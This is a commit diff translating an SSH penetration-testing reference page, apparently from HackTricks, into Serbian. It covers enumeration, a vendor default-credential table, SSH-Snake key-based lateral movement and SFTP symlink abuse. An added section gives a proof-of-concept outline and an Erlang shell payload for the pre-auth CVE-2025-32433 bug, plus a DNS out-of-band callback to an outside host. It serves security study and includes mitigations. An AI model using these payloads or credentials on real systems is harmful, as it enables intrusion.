Translated ['src/network-services-pentesting/pentesting-ssh.md'] to sr

This commit is contained in:
Translator 2025-08-14 00:19:36 +00:00
parent 37f92b2481
commit ae7b3d27f9

View File

@ -13,7 +13,7 @@
**SSH сервери:**
- [openSSH](http://www.openssh.org) OpenBSD SSH, испоручен у BSD, Linux дистрибуцијама и Windows од Windows 10
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) SSH имплементација за окружења са ниским меморијским и процесорским ресурсима, испоручена у OpenWrt
- [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) SSH имплементација за окружења са малом меморијом и ресурсима процесора, испоручена у OpenWrt
- [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) SSH имплементација за Windows, клијент се често користи, али је употреба сервера ређа
- [CopSSH](https://www.itefix.net/copssh) имплементација OpenSSH за Windows
@ -32,7 +32,7 @@ nc -vn <IP> 22
```
### Automated ssh-audit
ssh-audit je alat za reviziju konfiguracije ssh servera i klijenata.
ssh-audit je alat za reviziju konfiguracije ssh servera i klijenta.
[https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) je ažurirani fork od [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/)
@ -41,7 +41,7 @@ ssh-audit je alat za reviziju konfiguracije ssh servera i klijenata.
- Podrška za SSH1 i SSH2 protokol servera;
- analizira konfiguraciju SSH klijenta;
- uzima banner, prepoznaje uređaj ili softver i operativni sistem, detektuje kompresiju;
- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod autentifikacije poruka;
- prikuplja algoritme za razmenu ključeva, host-key, enkripciju i kod za autentifikaciju poruka;
- izlazne informacije o algoritmima (dostupno od, uklonjeno/onemogućeno, nesigurno/slabo/legacy, itd);
- izlazne preporuke za algoritme (dodati ili ukloniti na osnovu prepoznate verzije softvera);
- izlazne informacije o bezbednosti (povezani problemi, dodeljena CVE lista, itd);
@ -95,7 +95,7 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
### Enumeracija korisničkih imena
U nekim verzijama OpenSSH možete izvršiti napad vremenskom razlikom kako biste enumerisali korisnike. Možete koristiti metasploit modul kako biste iskoristili ovo:
U nekim verzijama OpenSSH možete izvršiti napad vremenskim razlikama kako biste enumerisali korisnike. Možete koristiti Metasploit modul kako biste iskoristili ovo:
```
msf> use scanner/ssh/ssh_enumusers
```
@ -113,9 +113,9 @@ Ili MSF pomoćni modul:
```
msf> use scanner/ssh/ssh_identify_pubkeys
```
Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
Ili koristite `ssh-keybrute.py` (nativni python3, lagan i sa omogućеним nasleđenim algoritmima): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute).
#### Poznate loše ključeve možete pronaći ovde:
#### Poznati loši ključevi mogu se naći ovde:
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
@ -129,27 +129,27 @@ Trebalo bi da pogledate ovde kako biste tražili važeće ključeve za žrtvinu
### Kerberos
**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` da **autentifikuje putem kerberos**.\
**crackmapexec** koristeći `ssh` protokol može koristiti opciju `--kerberos` za **autentifikaciju putem kerberos-a**.\
Za više informacija pokrenite `crackmapexec ssh --help`.
## Podrazumevani akreditivi
| **Proizvođač** | **Korisnička imena** | **Lozinke** |
| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
| --------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin |
| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 |
| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer |
| Juniper | netscreen | netscreen |
| NetApp | admin | netapp123 |
| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle |
| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default |
## SSH-MitM
@ -167,22 +167,22 @@ Da biste uhvatili stvarni MitM, mogli biste koristiti tehnike poput ARP spoofing
## SSH-Snake
Ako želite da pretražujete mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda vam je potreban [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake).
Ako želite da pretražujete mrežu koristeći otkrivene SSH privatne ključeve na sistemima, koristeći svaki privatni ključ na svakom sistemu za nove hostove, onda je [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) ono što vam treba.
SSH-Snake automatski i rekurzivno obavlja sledeće zadatke:
1. Na trenutnom sistemu, pronađite sve SSH privatne ključeve,
2. Na trenutnom sistemu, pronađite sve hostove ili odredišta (user@host) koja privatni ključevi mogu prihvatiti,
3. Pokušajte da se povežete na sva odredišta koristeći sve otkrivene privatne ključeve,
3. Pokušajte da se SSH povežete sa svim odredištima koristeći sve otkrivene privatne ključeve,
4. Ako se uspešno povežete na odredište, ponovite korake #1 - #4 na povezanom sistemu.
Potpuno je samoreplicirajuće i samoproširujuće -- i potpuno bez datoteka.
Potpuno se replicira i širi -- i potpuno je bez datoteka.
## Konfiguracione greške
### Root prijava
Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administrativnim privilegijama i brute force napadi mogu se ublažiti ovom promenom.
Uobičajeno je da SSH serveri po defaultu dozvoljavaju prijavu korisnika root, što predstavlja značajan sigurnosni rizik. **Onemogućavanje root prijave** je kritičan korak u obezbeđivanju servera. Neovlašćen pristup sa administrativnim privilegijama i napadi brute force mogu se ublažiti ovom promenom.
**Da biste onemogućili root prijavu u OpenSSH:**
@ -242,9 +242,9 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
The **sftp** have the command "**symlink**". Stoga, ako imate **prava za pisanje** u nekom folderu, možete kreirati **symlinks** drugih **foldera/fajlova**. Kako ste verovatno **zarobljeni** unutar chroot-a, ovo **neće biti posebno korisno** za vas, ali, ako možete **pristupiti** kreiranom **symlink-u** iz **no-chroot** **servisa** (na primer, ako možete pristupiti symlink-u sa web-a), mogli biste **otvoriti symlinkovane fajlove putem web-a**.
The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**.
Na primer, da kreirate **symlink** iz novog fajla **"**_**froot**_**" u "**_**/**_**"**:
For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**:
```bash
sftp> symlink / froot
```
@ -281,10 +281,66 @@ id_rsa
- [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt)
- [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2)
## Bypass stanja autentifikacije (Pre-Auth RCE)
Nekoliko implementacija SSH servera sadrži logičke greške u **mašini stanja autentifikacije** koje omogućavaju klijentu da šalje *poruke protokola veze* **pre nego što** autentifikacija završi. Pošto server ne uspeva da verifikuje da se nalazi u ispravnom stanju, te poruke se obrađuju kao da je korisnik potpuno autentifikovan, što dovodi do **neautentifikovane izvršavanja koda** ili kreiranja sesije.
Na protokolskom nivou, svaka SSH poruka sa _kodom poruke_ **≥ 80** (0x50) pripada *sloju veze* (RFC 4254) i mora **biti prihvaćena samo nakon uspešne autentifikacije** (RFC 4252). Ako server obradi jednu od tih poruka dok je još u *SSH_AUTHENTICATION* stanju, napadač može odmah kreirati kanal i zahtevati akcije kao što su izvršavanje komandi, prosleđivanje portova, itd.
### Opšti koraci za eksploataciju
1. Uspostavite TCP vezu sa SSH portom cilja (obično 22, ali druge usluge mogu izlagati Erlang/OTP na 2022, 830, 2222…).
2. Kreirajte sirovi SSH paket:
* 4-bajtni **packet_length** (big-endian)
* 1-bajtni **message_code** ≥ 80 (npr. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98)
* Payload koji će biti razumljiv odabranom tipu poruke
3. Pošaljite paket(e) **pre nego što završite bilo koji korak autentifikacije**.
4. Interagujte sa server API-ima koji su sada izloženi _pre-auth_ (izvršavanje komandi, prosleđivanje portova, pristup sistemu datoteka, …).
Python proof-of-concept outline:
```python
import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands
```
U praksi ćete morati da izvršite (ili preskočite) razmenu ključeva u skladu sa implementacijom cilja, ali **nikakva autentifikacija** se nikada ne vrši.
---
### Erlang/OTP `sshd` (CVE-2025-32433)
* **Pogođene verzije:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20
* **Osnovni uzrok:** Erlang-ov nativni SSH daemon ne validira trenutni status pre nego što pozove `ssh_connection:handle_msg/2`. Stoga bilo koji paket sa kodom poruke 80-255 dolazi do rukovaoca veze dok je sesija još u *userauth* stanju.
* **Uticaj:** neautentifikovana **daljinska izvršenja koda** (daemon obično radi kao **root** na ugrađenim/OT uređajima).
Primer payload-a koji pokreće reverznu ljusku vezanu za kanal pod kontrolom napadača:
```erlang
% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").
```
Blind RCE / out-of-band detekcija može se izvršiti putem DNS-a:
```erlang
execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession
```
Detection & Mitigation:
* Istražite SSH saobraćaj: **odbacite bilo koji paket sa kodom poruke ≥ 80 zabeleženim pre autentifikacije**.
* Ažurirajte Erlang/OTP na **27.3.3 / 26.2.5.11 / 25.3.2.20** ili noviji.
* Ograničite izloženost portova za upravljanje (22/2022/830/2222) posebno na OT opremi.
---
### Other Implementations Affected
* **libssh** 0.6 0.8 (server side) **CVE-2018-10933** prihvata neautentifikovani `SSH_MSG_USERAUTH_SUCCESS` poslat od strane klijenta, što je zapravo obrnuta logička greška.
Zajednička lekcija je da svako odstupanje od RFC-om propisanih prelaza stanja može biti fatalno; prilikom pregleda ili fuzzinga SSH demona obratite posebnu pažnju na *provođenje stanja mašine*.
## References
- Možete pronaći zanimljive vodiče o tome kako ojačati SSH na [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
- [Unit 42 Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/)
- [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html)
- [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands
```